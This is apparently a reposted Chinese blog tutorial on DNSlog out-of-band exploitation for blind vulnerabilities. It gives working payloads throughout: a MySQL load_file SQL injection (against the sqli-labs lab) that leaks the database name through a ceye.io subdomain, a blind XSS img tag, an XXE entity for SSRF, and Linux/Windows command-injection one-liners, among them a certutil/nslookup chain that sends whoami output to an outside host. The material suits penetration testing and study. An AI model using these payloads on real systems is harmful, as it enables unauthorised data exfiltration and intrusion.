zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    原作者:afanti

    原出处:https://www.cnblogs.com/afanti/p/8047530.html

    0x00 简介

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,我们可以通过设置ip代理池解决。

    但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下:

    首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

    DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
    简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

    这样说原理很抽象,下面通过实际例子看下。

    http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

    0x01 SQL盲注

    就以sql盲注为例。深入理解下DNSlog注入过程:

    通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。

    show variables like '%secure%';查看load_file()可以读取的磁盘。

    1、当secure_file_priv为空,就可以读取磁盘的目录。
    2、当secure_file_priv为G:,就可以读取G盘的文件。
    3、当secure_file_priv为null,load_file就不能加载文件。
    

    通过设置my.ini来配置。

    secure_file_priv=""就是可以load_flie任意磁盘的文件。

    在mysql命令行执行:

    select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查询语句
    

    查看平台,dnsLog被记录下来。

    load_file()函数可以通过dns解析请求。

    以sql-labs第五关:

    payload:

    ' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)-- -+
    

    执行的sql语句:

    SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)
    

    查看dnslog日志,发现security数据库被查询出来:

    0x02 XSS(无回显)

    通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

    payload:

    ><img src=http://xss.xxxx.ceye.io/aaa>
    

    让src请求我们的dnslog平台

    0x03 SSRF(无回显)

    payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
    %remote;]>
    <root/>
    

    0x04 命令执行(无回显)

    当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

    linux:
    curl http://haha.xxx.ceye.io/`whoami`
    ping `whoami`.xxxx.ceye.io
    
    Windows:
    ping %USERNAME%.xxx.ceye.io
    

    也可以通过base64加密传送数据,平台拿到的数据进行base64解密得到命令回显。

    cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
    del temp*
    

    其他的在这个平台上有一些payload。

    0x05 参考链接

    http://foreversong.cn/archives/861

    https://bbs.ichunqiu.com/thread-22002-1-1.html

    http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

  • 相关阅读:
    使用Visual Studio 2012 开发 Html5 应用
    模块化与MVC
    跨站脚本攻击(Cross‐Site Scripting (XSS))
    C#程序开发中经常遇到的10条实用的代码
    运用DebugDiag诊断ASP.Net异常
    前端MVVM框架avalon
    TOGAF架构开发方法(ADM)之需求管理阶段
    C#4.0中var和dynamic的区别
    hive 不同用户 权限设置 出错处理
    Delphi中类的运行期TypeInfo信息结构说明
  • 原文地址:https://www.cnblogs.com/-mo-/p/11672141.html
Copyright © 2011-2022 走看看